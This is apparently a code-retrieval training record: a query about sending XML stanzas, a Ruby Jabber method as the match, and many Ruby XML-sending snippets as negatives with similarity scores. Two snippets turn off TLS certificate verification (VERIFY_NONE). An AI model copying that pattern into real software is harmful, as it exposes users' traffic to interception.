"0.5619189",
"0.5603038",
"0.5582722",
"0.5576339",
"0.5567642",
"0.5559856",
"0.5559173",
"0.5548154",
"0.5541821",
"0.55369765",
"0.55244726",
"0.5521161",
"0.5511154",
"0.5504398",
"0.5502627",
"0.5494088",
"0.5493326",
"0.5485883",
"0.5482611",
"0.5476725",
"0.54743147",
"0.54707015",
"0.54651654",
"0.5462045",
"0.5432567",
"0.5432567",
"0.5432567",
"0.5429643",
"0.54279435",
"0.54187536",
"0.5411078",
"0.5409206",
"0.5403874",
"0.5403874",
"0.5402955",
"0.53913844",
"0.5386702",
"0.5386245",
"0.5382311",
"0.5381028",
"0.535978",
"0.53482854",
"0.53374755",
"0.5323628",
"0.5323301",
"0.5316383",
"0.53148866",
"0.5313525",
"0.5310361",
"0.53089744",
"0.53085446",
"0.5306897",
"0.5306488",
"0.5304638",
"0.53016883",
"0.5284797",
"0.5278314",
"0.527772",
"0.5277531",
"0.5272507",
"0.526477",
"0.525629",
"0.5254599",
"0.5253538",
"0.5246728",
"0.52336526",
"0.5231269",
"0.52310437",
"0.5226849"
] |
0.6621806
|
0
|
General method for sending XML stanzas. Ignores warning, which prevents sending further stanzas..
|
def sendStanza(client_info, xml)
Thread.new{
client = connect(client_info)#Client.new(JID.new(client_info[:id]))
#client.connect
#client.auth(client_info[:psword])
#client.send(Jabber::Presence.new.set_type(:available))
begin
Timeout::timeout(5) {
client.send_with_id(xml)
puts "Stanza sent (1)"
}
rescue Exception => t
puts t.to_s
end
puts "Stanza sent (2)"
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def send_xml(xml)\n connection.ProcessRequest(session, xml)\n rescue => e\n puts \"ERROR processing request:\\n#{xml}\"\n raise # Reraises the original error, only this way we got the xml output\n end",
"def xml?; end",
"def xml?; end",
"def send_request( xml )\n write( xml )\n read\n end",
"def send(stanza)\n Blather.logger.debug \"SENDING: (#{caller[1]}) #{stanza}\"\n send_data stanza.respond_to?(:to_xml) ? stanza.to_xml : stanza.to_s\n end",
"def xml!; @xml = true; end",
"def send_xml(xml)\n if xml.is_a? Nokogiri::XML::NodeSet\n xml.each do |element|\n send_chunk(element.to_s)\n end\n else\n send_chunk(xml.to_s)\n end\n end",
"def xml\n\t\theaders[\"Content-Type\"] = \"text/xml; charset=utf-8\"\n\t\trender :layout => false\n\tend",
"def set_xml_status\n if params[:xml_request]\n request.env[\"CONTENT_TYPE\"] = \"text/xml\"\n request.env[\"HTTP_ACCEPT\"] = \"application/xml\"\n @xml_request_enabled = true\n end\n end",
"def sendToTrufina(xml)\n puts \"Sending XML to #{domain}#{endpoint}:\\n\\n#{xml}\\n\\n\" if Trufina::Config.debug?\n \n # Connection Info\n api = Net::HTTP.new( domain, 443 )\n api.use_ssl = true\n api.verify_mode = OpenSSL::SSL::VERIFY_NONE # Prevent annoying warnings\n \n # Request info\n method_call = Net::HTTP::Post.new( endpoint, {'Content-Type' => 'text/xml'} )\n method_call.body = xml\n\n if Config.staging?\n method_call.basic_auth(Config.staging_access[:username], Config.staging_access[:password])\n end\n \n # OK, execute the actual call\n response = api.request(method_call)\n raise Exceptions::NetworkError.new(response.msg) unless response.is_a?(Net::HTTPSuccess)\n parseFromTrufina(response.body)\n end",
"def send_xml(filename, xml)\n send_data xml,\n filename: filename,\n type: 'text/xml; charset=UTF-8;',\n disposition: 'attachment;'\n end",
"def handle_xml( request )\n\t\tself.log.warn \"Unhandled XML message request (%p)\" % [ request.headers.pack ]\n\t\treturn nil\n\tend",
"def xml; end",
"def _to_xml(xml)\n end",
"def send\n @system = \"\"\n yield @system\n\n result = 'qf=xml&xml=' + render_template( 'auth' )\n\n @url.post( @uri.path, result, @headers.merge('Content-length' => result.length.to_s) )\n end",
"def send(xml)\n if xml.is_a? Nokogiri::XML::NodeSet\n xml.each do |node|\n send_node(node)\n end\n elsif xml.is_a? Nokogiri::XML::Node\n send_node(xml)\n else\n # We try a cast into a string.\n send_string(\"#{xml}\")\n end\n end",
"def send(xml, proc_object = nil, &block)\n @mutex.synchronize { write_to_socket(xml, proc_object, &block) }\n end",
"def send(xml)\n msg = <<EOL\n<?xml version=\"1.0\"?>\n<?qbxml version=\"#{QBXML_VERSION}\"?>\n<QBXML>\n <QBXMLMsgsRq onError=\"continueOnError\">\n #{xml}</QBXMLMsgsRq>\n</QBXML>\nEOL\n puts msg\n @soap_client.ProcessRequest(@ticket, xml)\n end",
"def xmldecl ver, enc, stand\n # ignore xml declaration\n end",
"def xml_http_request?; end",
"def declare!(inst, *args, &block)\n __warn(\"XML declarations are not yet supported. Pull requests are welcome!\")\n end",
"def receive_stanza(stanza)\n Skates.logger.debug {\n \"PARSED : #{stanza.to_xml}\"\n }\n # If not handled by subclass (for authentication)\n case stanza.name\n when \"stream:error\"\n if !stanza.children.empty? and stanza.children.first.name == \"xml-not-well-formed\"\n Skates.logger.error {\n \"DISCONNECTED DUE TO MALFORMED STANZA\"\n }\n raise XmlNotWellFormed\n end\n # In any case, we need to close the connection.\n close_connection\n else\n begin\n @handler.on_stanza(stanza) if @handler and @handler.respond_to?(\"on_stanza\")\n rescue\n Skates.logger.error {\n \"on_stanza failed : #{$!}\\n#{$!.backtrace.join(\"\\n\")}\"\n }\n end\n end \n end",
"def send_xml(out_xml)\n uri = URI.parse(@url)\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Post.new(uri.request_uri)\n\n @logger.error \"#$%$ #{@user}\"\n request.basic_auth @user, @password\n request.body = out_xml\n\n log(\"Sending request: #{request.inspect}\")\n response = http.request(request)\n\n log(\"Response: #{response}\")\n return response.body\n end",
"def call(non_esi_request)\n request_xml = yield convert_to_xml(non_esi_request)\n _validation_result = yield validate_xml(request_xml)\n Success(request_xml)\n end",
"def request_xml(opts)\n envelope_ns_key = \"#{namespace_key(:envelope)}\"\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml[envelope_ns_key].Envelope(namespace_hash) {\n xml = header_xml(xml, opts[:wsa])\n xml = body_xml(xml, opts[:message], opts[:params], opts[:extra])\n }\n end\n end",
"def check_for_xml \n return true unless is_xml_request? \n return(render(:text => '<Response>Error: bad xml</Response>')) unless @request.env['RAW_POST_DATA'] && !@request.env['RAW_POST_DATA'].strip.empty? \n\n # headers['Content-Type'], NOT headers['CONTENT_TYPE'] \n @response.headers['CONTENT_TYPE'] = 'text/xml; charset=utf-8' \n @response.headers['Content-Type'] = 'text/xml; charset=utf-8' \n\n xml = REXML::Document.new(request.env['RAW_POST_DATA']) \n login_user(xml) \n return(render(:text => '<Response>bad username or password</Response>') and false) unless current_user \n\n begin \n (delete_trust(xml) and return false) if is_delete_trust? \n (create_trust_xml(xml) and return false) if is_create_trust? \n (xml_profile_list(xml) and return false) if is_profile_list? \n (xml_query_profile(xml) and return false) if is_query_profile? \n\n params.merge!(get_params_from_xml(xml)) \n\n\t \t create_trust_if_necessary(xml) \n\t \trescue \n \t return(render(:text => '<Response>Error: bad xml format.</Response>')) \n end\n end",
"def ems\n GatewayMessage.store( params[:xml] )\n render :text => 'OK'\n end",
"def build_xml\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.SendNotificationsRequest(:xmlns => \"http://fedex.com/ws/track/v#{service[:version]}\"){\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_transaction_details(xml)\n add_version(xml)\n xml.TrackingNumber @tracking_number\n xml.TrackingNumberUniqueId @uuid if @uuid\n xml.SenderEMailAddress @sender_email_address\n xml.SenderContactName @sender_name\n add_notification_detail(xml)\n }\n end\n builder.doc.root.to_xml\n end",
"def rexml? ; false end",
"def send_sms(sender, numbers, text, **params)\n # Create the send XMLmarkup\n estimate_cost = estimate_cost(numbers, text)\n return -1 if estimate_cost == -1\n\n if estimate_cost < get_balance\n identity = \"#{Time.now.to_i}#{rand(1000000000..9999999999)}\"\n batchID = @company + \"+\" + identity\n is_persian_text = is_persian(text)\n msgClass = params[\"flash\"] ? \"0\" : \"1\"\n dcs = is_persian_text ? \"8\" : \"0\"\n binary = is_persian_text ? \"true\" : \"false\"\n text = text.to_h if is_persian_text\n\n builder = Builder::XmlMarkup.new()\n builder.instruct! :xml, version: \"1.0\", encoding: \"UTF-8\"\n builder.declare! :DOCTYPE, :smsBatch, :PUBLIC, \"-//PERVASIVE//DTD CPAS 1.0//EN\", \"http://www.ubicomp.ir/dtd/Cpas.dtd\"\n builder.smsBatch(company: @company, batchID: batchID) do |b|\n b.sms(msgClass: msgClass, binary: binary, dcs: dcs) do |t|\n numbers.each do |number|\n t.destAddr() do |f|\n f.declare! \"[CDATA[%s]]\" % number\n end\n end\n t.origAddr() do |f|\n f.declare! \"[CDATA[%s]]\" % sender\n end\n t.message() do |f|\n f.declare! \"[CDATA[#{text}]]\"\n end\n end\n end\n\n out_xml = builder.target!\n\n result = send_xml(out_xml)\n\n source = XML::Parser.string(result)\n content = source.parse\n\n if content.find_first('ok')\n if content.find_first('ok').content.include? 'CHECK_OK'\n @errors = nil\n batchID\n else\n @errors = \"Something going wrong\"\n nil\n end\n else\n @errors = content.find_first('message').content.strip\n nil\n end\n else\n @errors = 'Not enough balance'\n nil\n end\n end",
"def xml_serialize_full(writer)\n cs = \"{#{Plugin::NS_CALENDARSERVER}}\"\n\n writer.write_element(cs + 'dtstamp', @dt_stamp.utc.strftime('%Y%m%dT%H%M%SZ'))\n writer.start_element(cs + 'invite-notification')\n writer.write_element(cs + 'uid', @id)\n writer.write_element('{DAV:}href', @href)\n\n case @type\n when SharingPlugin::STATUS_ACCEPTED\n writer.write_element(cs + 'invite-accepted')\n when SharingPlugin::STATUS_DECLINED\n writer.write_element(cs + 'invite-declined')\n when SharingPlugin::STATUS_DELETED\n writer.write_element(cs + 'invite-deleted')\n when SharingPlugin::STATUS_NORESPONSE\n writer.write_element(cs + 'invite-noresponse')\n end\n\n writer.write_element(\n cs + 'hosturl',\n '{DAV:}href' => writer.context_uri + @host_url\n )\n\n unless @summary.blank?\n writer.write_element(cs + 'summary', @summary)\n end\n\n writer.start_element(cs + 'access')\n if @read_only\n writer.write_element(cs + 'read')\n else\n writer.write_element(cs + 'read-write')\n end\n writer.end_element # access\n\n writer.start_element(cs + 'organizer')\n\n # If the organizer contains a 'mailto:' part, it means it should be\n # treated as absolute.\n if @organizer[0, 7].downcase == 'mailto:'\n writer.write_element('{DAV:}href', @organizer)\n else\n writer.write_element('{DAV:}href', writer.context_uri + @organizer)\n end\n\n unless @common_name.blank?\n writer.write_element(cs + 'common-name', @common_name)\n end\n unless @first_name.blank?\n writer.write_element(cs + 'first-name', @first_name)\n end\n unless @last_name.blank?\n writer.write_element(cs + 'last-name', @last_name)\n end\n writer.end_element # organizer\n\n unless @common_name.blank?\n writer.write_element(cs + 'organizer-cn', @common_name)\n end\n unless @first_name.blank?\n writer.write_element(cs + 'organizer-first', @first_name)\n end\n unless @last_name.blank?\n writer.write_element(cs + 'organizer-last', @last_name)\n end\n unless @supported_components.blank?\n writer.write_element(\"{#{Plugin::NS_CALDAV}}supported-calendar-component-set\", @supported_components)\n end\n\n writer.end_element # invite-notification\n end",
"def write_to_socket(xml, handler = nil, &block)\n Jabber.debug(\"SENDING:\\n#{xml}\")\n\n handler = block if handler.nil?\n handlers[Thread.current] = handler unless handler.nil?\n\n socket.write(xml)\n\n @poll_counter = 10\n end",
"def send_raw(xml)\n open\n @soap_client.ProcessRequest(@ticket, xml)\n close \n end",
"def write_xml\n true\n end",
"def render_xml\n end",
"def to_xml(*args); end",
"def to_xml(*args); end",
"def to_xml(*args); end",
"def to_xml(*args); end",
"def to_xml(*args); end",
"def to_xml(*args); end",
"def send_post(data_xml,url)\r\n result = @client.post(self.target_uri(url), :body => data_xml , :head => {'Content-Type' => 'application/xml'} ) \r\n raise \"Invalid status #{result.http_status} from server #{@host}:#{@port}\" if(result.http_status != '200') \r\n #reply = Reply.from_xml(result.http_body)\r\n if block_given?\r\n yield(result.http_body)\r\n else\r\n result.http_body\r\n end\r\n end",
"def transmission; end",
"def render_xml_response \n @trust.update_attributes(:expires_at => Time.now.utc) if @trust && @trust.xml_expire? \n response.headers['CONTENT_TYPE'] = 'text/xml; charset=utf-8' \n response.headers['Content-Type'] = 'text/xml; charset=utf-8' \n render :text => \"<Response>#{@resp.headers['location'].gsub(/&/,'&')}</Response>\" \n end",
"def tran_xml(xml, index, job, batch, transaction_set_count) \n if !payer.blank? && !payer.status.blank? && (!payer.gateway.blank? || !payer.gateway_temp.blank?)\n gateway = payer.status.upcase == 'MAPPED' ? payer.gateway : (payer.gateway_temp || 'HLSC')\n payid = payer.payer_identifier(micr_line_information)\n footnote_indicator = (payer.footnote_indicator ? 1 : 0)\n else raise 'Invalid Payer'\n puts \"Payer record for check number #{check_number} is incomplete or invalid\"\n log.error \"Payer record for check number #{check_number} is incomplete or invalid\"\n end\n\n payee_name ||= batch.facility.name.to_s.strip\n xml.tran(:ID => index + 1) do\n xml.tag!(:batch_attrib, 1)\n xml.tag!(:gateway, gateway)\n xml.tag!(:pay_id, payid)\n xml.tag!(:payee_nm, (payee_name.slice(0, 25) if !payee_name.blank?))\n xml.tag!(:aba_num, (micr_line_information.aba_routing_number if micr_line_information))\n xml.tag!(:chk_act, (micr_line_information.payer_account_number if micr_line_information))\n xml.tag!(:chk_num, check_number)\n xml.tag!(:chk_amt, sprintf('%.02f', check_amount.to_f))\n xml.tag!(:eob_id, (index + 1))\n xml.tag!(:tid, job.transaction_number)\n xml.tag!(:rework, '0')\n xml.tag!(:payer_footnote_based, (footnote_indicator || 0))\n xml.tag!(:worklist_status_cd, '')\n xml.tag!(:transaction_receipt_dt, (batch.date.strftime(\"%Y-%m-%d\") unless batch.date.blank?))\n xml.tag!(:hlsc_file_nm, batch.src_file_name)\n xml.tag!(:show_on_worklist, '0')\n xml.tag!(:transaction_guid, guid)\n end\n transaction_set_count += 1\n end",
"def send_xml_to_server(server, xml)\n http = Net::HTTP.new(server.host, 8443)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n headers = {\n 'HTTP_AUTH_LOGIN' => server.username,\n 'HTTP_AUTH_PASSWD' => server.password,\n 'Content-Type' => 'text/xml',\n }\n\n path = \"/enterprise/control/agent.php\"\n res, data = http.post2(path, xml, headers)\n return res.body\n end",
"def parse_to_xml\n raise_if_error\n response_xml\n end",
"def basic_data_xml\n headers[\"content-type\"]=\"text/html\";\n end",
"def XML(thing, url = T.unsafe(nil), encoding = T.unsafe(nil), options = T.unsafe(nil), &block); end",
"def XML(thing, url = T.unsafe(nil), encoding = T.unsafe(nil), options = T.unsafe(nil), &block); end",
"def post\n response = HTTParty.post(servlet_url,\n :body => to_xml,\n :headers => { 'Content-Type' => 'application/xml' }\n ).response\n\n return Dhl::Shipment::Response.new(response.body)\n rescue Exception => e\n request_xml = if @to_xml.to_s.size>0\n @to_xml\n else\n '<not generated at time of error>'\n end\n\n response_body = if (response && response.body && response.body.to_s.size > 0)\n response.body\n else\n '<not received at time of error>'\n end\n\n log_level = if e.respond_to?(:log_level)\n e.log_level\n else\n :critical\n end\n\n log_request_and_response_xml(log_level, e, request_xml, response_body )\n raise e\n end",
"def to_xml(options={})\n options[:except] ||= [:encrypted_password, :password_salt]\n super(options)\n end",
"def to_xml(options={})\n options[:except] ||= [:encrypted_password, :password_salt]\n super(options)\n end",
"def authed_xml_as_string(builder, &block)\n builder.instruct!(:xml, :version=>\"1.0\", :encoding=>\"UTF-8\")\n builder.Request(:xmlns => \"urn:sbx:apis:SbxBaseComponents\") do\n builder.RequesterCredentials do\n builder.ApiUserToken(connection.api_user_token)\n builder.SbxUserToken(connection.sbx_user_token)\n end\n block.call\n end\n\n builder.target!\n end",
"def do_not_deliver!\n def self.deliver! ; false ; end\n end",
"def do_not_deliver!\n def self.deliver! ; false ; end\n end",
"def do_not_deliver!\n def self.deliver! ; false ; end\n end",
"def send_request; end",
"def send(body=nil, &block)\n\t\t\traise RuntimeError, 'Need to set request' if @request.nil?\n\t\t\t@body = condition.transform @xml if body.nil?\n\t\t\t@request.post(@body, &block) if block_given?\n\t\tend",
"def attach_xml\n attach(:xml, xml)\n end",
"def post_stomp(msg,headers)\n \n response_header = {\"Content-type\" => \"text/xml\"}\n response_header.merge headers\n ht =Net::HTTP.start(self.host,self.port)\n url = self.url # + \"/\" + self.topic\n puts \"posting to: #{self.host}: #{self.port} #{url} message: #{msg.to_xml}\"\n r=ht.post(url,msg.to_xml,response_header)\n \n puts \"result: #{r.to_s}\"\n r\n end",
"def newsrss\n # already have global $news = News.returnNews\n render_without_layout\n @headers[\"Content-Type\"] = \"application/xml; charset=utf-8\" \n\n end",
"def send_to_localeze(xml)\n client = Savon::Client.new(WSDL_URL)\n # raise xml.inspect\n response = client.call(:query, message: xml)\n\n end",
"def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end",
"def send_node(node)\n# node[\"from\"] = jid if !node.attributes[\"from\"] && node.attributes[\"to\"]\n send_string(node.to_xml)\n end",
"def xmldecl(version, encoding, standalone)\r\n # Do nothing unless we're currently working on a <packet> element or one of its children\r\n return unless @element_stack.length > 0\r\n\r\n @element_stack.last.add(Instruction.new(\"xml\", \"version=\\\"#{version}\\\" encoding=\\\"#{encoding}\\\" standalone=\\\"#{standalone}\\\"\"))\r\n end",
"def send_pending; end",
"def weixin_xml\n template_xml = <<Text\n<xml>\n <ToUserName><![CDATA[#{to_user_name}]]></ToUserName>\n <FromUserName><![CDATA[#{from_user_name}]]></FromUserName>\n <CreateTime>#{create_time.to_i}</CreateTime>\n <MsgType><![CDATA[#{msg_type}]]></MsgType>\n <PicUrl><![CDATA[#{pic_url}]]></PicUrl>\n</xml> \nText\n end",
"def purge_xml=(bool)\n \n @purge_xml = bool ? true : false\n \n end",
"def xml_start(process_card, &block)\n Nokogiri::XML::Builder.new(encoding: 'utf-8') do |xml|\n xml.__send__('soap12:Envelope', soap_options) do\n xml.__send__('soap12:Body') do\n xml.__send__(\n process_card,\n xmlns: 'https://www.iatspayments.com/NetGate/',\n &block)\n end\n end\n end\n end",
"def put_xml(obj = nil, status = 200, append_response = false)\n @performed_render = true\n \n obj.set_pretty_print(true)\n text = obj.to_xml\n \n response.content_type = 'text/xml'\n response.status = status\n \n if append_response\n response.body ||= ''\n response.body << text.to_s\n else\n response.body = case text\n when Proc then text\n when nil then \" \" # Safari doesn't pass the headers of the return if the response is zero length\n else \n text.to_s\n end\n end\n end",
"def xml_decl; end",
"def op_send_request_xml(params)\n return '' unless valid?\n\n # update the ticket with the metadata sent at the first request for XML (i.e. if not blank)\n @ticket.update!(\n hpc_response: (@ticket.hpc_response || params[:hcpresponse]),\n company_file_name: (@ticket.company_file_name || params[:company]),\n country: (@ticket.country || params[:country]),\n qbxml_major_version: (@ticket.qbxml_major_version || params[:major_ver]),\n qbxml_minor_version: (@ticket.qbxml_minor_version || params[:minor_ver])\n )\n\n # only process when in the Authenticated or Processing states\n unless ['Authenticated', 'Processing'].include?(@ticket.state)\n @ticket.request_error!(@last_log_message)\n return ''\n end\n\n # either grab the current request or create a new one\n request = @ticket.qb_request\n unless request\n request = create_request\n @ticket.qb_request = request\n end\n\n # if we don't have a request, then we are done.\n unless request\n log \"There is no more work to be done. Marking ticket state as finished\"\n @ticket.update!(state: 'Finished')\n return ''\n end\n\n request.update!(qb_ticket: @ticket, request_sent_at: Time.zone.now)\n qb_xml = request.to_qb_xml\n request.update!(request_qbxml: qb_xml)\n\n # set the ticket into a Processing state\n @ticket.state = 'Processing'\n\n # save the changes.\n @ticket.save!\n\n log \"Sending request [#{request.state}] XML to QuickBooks\"\n\n qb_xml\n end",
"def send(*rest) end",
"def send(*rest) end",
"def send(*rest) end",
"def to_xml(options={})\n str = \"<error>\"\n str += \" <developerMessage>#{@developerMessage}</developerMessage>\"\n str += \" <userMessage>#{@userMessage}</userMessage>\"\n str += \"</error>\"\n end",
"def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('samlp:Status') {\n xml << status_code.to_xml unless status_code.nil?\n xml.tag!('StatusMessage', status_message) unless status_message.nil?\n status_detail.each { |status_detail| xml << status_detail.to_xml }\n }\n end",
"def build_xml(feed_type=(self.feed_type or \"atom\"), feed_version=nil,\n xml_builder=Builder::XmlMarkup.new(\n :indent => 2, :escape_attrs => false))\n \n if self.find_node(\"access:restriction/@relationship\").to_s == \"deny\"\n raise StandardError,\n \"Operation not permitted. This feed denies redistribution.\"\n elsif self.find_node(\"@indexing:index\").to_s == \"no\"\n raise StandardError,\n \"Operation not permitted. This feed denies redistribution.\"\n end\n \n self.full_parse()\n \n xml_builder.instruct! :xml, :version => \"1.0\",\n :encoding => (self.configurations[:output_encoding] or \"utf-8\")\n if feed_type.nil?\n feed_type = self.feed_type\n end\n if feed_version.nil?\n feed_version = self.feed_version\n end\n if feed_type == \"rss\" &&\n (feed_version == nil || feed_version <= 0.0)\n feed_version = 1.0\n elsif feed_type == \"atom\" &&\n (feed_version == nil || feed_version <= 0.0)\n feed_version = 1.0\n end\n if feed_type == \"rss\" &&\n (feed_version == 0.9 || feed_version == 1.0 || feed_version == 1.1)\n # RDF-based rss format\n return xml_builder.tag!(\"rdf:RDF\",\n \"xmlns\" => FEED_TOOLS_NAMESPACES['rss10'],\n \"xmlns:content\" => FEED_TOOLS_NAMESPACES['content'],\n \"xmlns:rdf\" => FEED_TOOLS_NAMESPACES['rdf'],\n \"xmlns:dc\" => FEED_TOOLS_NAMESPACES['dc'],\n \"xmlns:syn\" => FEED_TOOLS_NAMESPACES['syn'],\n \"xmlns:admin\" => FEED_TOOLS_NAMESPACES['admin'],\n \"xmlns:taxo\" => FEED_TOOLS_NAMESPACES['taxo'],\n \"xmlns:itunes\" => FEED_TOOLS_NAMESPACES['itunes'],\n \"xmlns:media\" => FEED_TOOLS_NAMESPACES['media']) do\n channel_attributes = {}\n unless self.link.nil?\n channel_attributes[\"rdf:about\"] =\n FeedTools::HtmlHelper.escape_entities(self.link)\n end\n xml_builder.channel(channel_attributes) do\n unless self.title.blank?\n xml_builder.title(\n FeedTools::HtmlHelper.strip_html_tags(self.title))\n else\n xml_builder.title\n end\n unless self.link.blank?\n xml_builder.link(self.link)\n else\n xml_builder.link\n end\n unless images.blank?\n xml_builder.image(\"rdf:resource\" =>\n FeedTools::HtmlHelper.escape_entities(\n images.first.url))\n end\n unless description.nil? || description == \"\"\n xml_builder.description(description)\n else\n xml_builder.description\n end\n unless self.language.blank?\n xml_builder.tag!(\"dc:language\", self.language)\n end\n unless self.rights.blank?\n xml_builder.tag!(\"dc:rights\", self.rights)\n end\n xml_builder.tag!(\"syn:updatePeriod\", \"hourly\")\n xml_builder.tag!(\"syn:updateFrequency\",\n (self.time_to_live / 1.hour).to_s)\n xml_builder.tag!(\"syn:updateBase\", Time.mktime(1970).iso8601)\n xml_builder.items do\n xml_builder.tag!(\"rdf:Seq\") do\n unless items.nil?\n for item in items\n if item.link.nil?\n raise \"Cannot generate an rdf-based feed with a nil \" +\n \"item link field.\"\n end\n xml_builder.tag!(\"rdf:li\", \"rdf:resource\" =>\n FeedTools::HtmlHelper.escape_entities(item.link))\n end\n end\n end\n end\n xml_builder.tag!(\n \"admin:generatorAgent\",\n \"rdf:resource\" => self.configurations[:generator_href])\n build_xml_hook(feed_type, feed_version, xml_builder)\n end\n unless self.images.blank?\n best_image = nil\n for image in self.images\n if image.link != nil\n best_image = image\n break\n end\n end\n best_image = self.images.first if best_image.nil?\n xml_builder.image(\"rdf:about\" =>\n FeedTools::HtmlHelper.escape_entities(best_image.url)) do\n if !best_image.title.blank?\n xml_builder.title(best_image.title)\n elsif !self.title.blank?\n xml_builder.title(self.title)\n else\n xml_builder.title\n end\n unless best_image.url.blank?\n xml_builder.url(best_image.url)\n end\n if !best_image.link.blank?\n xml_builder.link(best_image.link)\n elsif !self.link.blank?\n xml_builder.link(self.link)\n else\n xml_builder.link\n end\n end\n end\n unless items.nil?\n for item in items\n item.build_xml(feed_type, feed_version, xml_builder)\n end\n end\n end\n elsif feed_type == \"rss\"\n # normal rss format\n return xml_builder.rss(\"version\" => \"2.0\",\n \"xmlns:content\" => FEED_TOOLS_NAMESPACES['content'],\n \"xmlns:rdf\" => FEED_TOOLS_NAMESPACES['rdf'],\n \"xmlns:dc\" => FEED_TOOLS_NAMESPACES['dc'],\n \"xmlns:taxo\" => FEED_TOOLS_NAMESPACES['taxo'],\n \"xmlns:trackback\" => FEED_TOOLS_NAMESPACES['trackback'],\n \"xmlns:itunes\" => FEED_TOOLS_NAMESPACES['itunes'],\n \"xmlns:media\" => FEED_TOOLS_NAMESPACES['media']) do\n xml_builder.channel do\n unless self.title.blank?\n xml_builder.title(\n FeedTools::HtmlHelper.strip_html_tags(self.title))\n end\n unless self.link.blank?\n xml_builder.link(link)\n end\n unless self.description.blank?\n xml_builder.description(description)\n else\n xml_builder.description\n end\n unless self.author.email.blank?\n xml_builder.managingEditor(self.author.email)\n end\n unless self.publisher.email.blank?\n xml_builder.webMaster(self.publisher.email)\n end\n unless self.published.blank?\n xml_builder.pubDate(self.published.rfc822)\n end\n unless self.updated.blank?\n xml_builder.lastBuildDate(self.updated.rfc822)\n end\n unless self.copyright.blank?\n xml_builder.copyright(self.copyright)\n end\n unless self.language.blank?\n xml_builder.language(self.language)\n end\n xml_builder.ttl((time_to_live / 1.minute).to_s)\n xml_builder.generator(\n self.configurations[:generator_href])\n build_xml_hook(feed_type, feed_version, xml_builder)\n unless items.nil?\n for item in items\n item.build_xml(feed_type, feed_version, xml_builder)\n end\n end\n end\n end\n elsif feed_type == \"atom\" && feed_version == 0.3\n raise \"Atom 0.3 is obsolete.\"\n elsif feed_type == \"atom\" && feed_version == 1.0\n # normal atom format\n return xml_builder.feed(\"xmlns\" => FEED_TOOLS_NAMESPACES['atom10'],\n \"xml:lang\" => language) do\n unless title.blank?\n xml_builder.title(title,\n \"type\" => \"html\")\n end\n xml_builder.author do\n unless self.author.nil? || self.author.name.nil?\n xml_builder.name(self.author.name)\n else\n xml_builder.name(\"n/a\")\n end\n unless self.author.nil? || self.author.email.nil?\n xml_builder.email(self.author.email)\n end\n unless self.author.nil? || self.author.url.nil?\n xml_builder.uri(self.author.url)\n end\n end\n unless self.href.blank?\n xml_builder.link(\"href\" => self.href,\n \"rel\" => \"self\",\n \"type\" => \"application/atom+xml\")\n end\n unless self.link.blank?\n xml_builder.link(\n \"href\" =>\n FeedTools::HtmlHelper.escape_entities(self.link),\n \"rel\" => \"alternate\")\n end\n unless self.subtitle.blank?\n xml_builder.subtitle(self.subtitle,\n \"type\" => \"html\")\n end\n if self.updated != nil\n xml_builder.updated(self.updated.iso8601)\n elsif self.time != nil\n # Not technically correct, but a heck of a lot better\n # than the Time.now fall-back.\n xml_builder.updated(self.time.iso8601)\n else\n xml_builder.updated(Time.now.gmtime.iso8601)\n end\n unless self.rights.blank?\n xml_builder.rights(self.rights)\n end\n xml_builder.generator(self.configurations[:generator_name] +\n \" - \" + self.configurations[:generator_href])\n if self.id != nil\n unless FeedTools::UriHelper.is_uri? self.id\n if self.link != nil\n xml_builder.id(FeedTools::UriHelper.build_urn_uri(self.link))\n else\n raise \"The unique id must be a valid URI.\"\n end\n else\n xml_builder.id(self.id)\n end\n elsif self.link != nil\n xml_builder.id(FeedTools::UriHelper.build_urn_uri(self.link))\n elsif self.url != nil\n xml_builder.id(FeedTools::UriHelper.build_urn_uri(self.url))\n else\n raise \"Cannot build feed, missing feed unique id.\"\n end\n build_xml_hook(feed_type, feed_version, xml_builder)\n unless items.nil?\n for item in items\n item.build_xml(feed_type, feed_version, xml_builder)\n end\n end\n end\n else\n raise \"Unsupported feed format/version.\"\n end\n end",
"def build_ship_request(shipper, recipient, package, options={})\n imperial = ['US','LR','MM'].include?(shipper.country_code(:alpha2))\n\n xml_request = XmlNode.new('ProcessShipmentRequest', 'xmlns' => 'http://fedex.com/ws/ship/v10') do |root_node|\n root_node << build_request_header\n\n # Version\n root_node << XmlNode.new('Version') do |version_node|\n version_node << XmlNode.new('ServiceId', 'ship')\n version_node << XmlNode.new('Major', '10')\n version_node << XmlNode.new('Intermediate', '0')\n version_node << XmlNode.new('Minor', '0')\n end\n \n \n root_node << XmlNode.new('RequestedShipment') do |rs|\n if options[:ship_timestamp]\n rs << XmlNode.new('ShipTimestamp', options[:ship_timestamp])\n else\n rs << XmlNode.new('ShipTimestamp', Time.now)\n end\n rs << XmlNode.new('DropoffType', options[:dropoff_type] || 'REGULAR_PICKUP')\n rs << XmlNode.new('ServiceType', options[:service_type] || 'GROUND_HOME_DELIVERY')\n rs << XmlNode.new('PackagingType', options[:packaging_type] || 'YOUR_PACKAGING')\n \n rs << build_shipper_or_recipient_node('Shipper', shipper)\n rs << build_shipper_or_recipient_node('Recipient', recipient)\n \n rs << XmlNode.new('ShippingChargesPayment') do |scp_node|\n scp_node << XmlNode.new('PaymentType', options[:payment_type] || 'SENDER')\n scp_node << XmlNode.new('Payor') do |payor_node|\n payor_node << XmlNode.new('AccountNumber', options[:payor_account_number])\n payor_node << XmlNode.new('CountryCode', shipper.country_code)\n end\n end\n rs << XmlNode.new('SpecialServicesRequested') do |special_services_node|\n special_services_node << XmlNode.new('SpecialServiceTypes', 'SATURDAY_DELIVERY') if options[:saturday_delivery]\n special_services_node << XmlNode.new('SpecialServiceTypes', 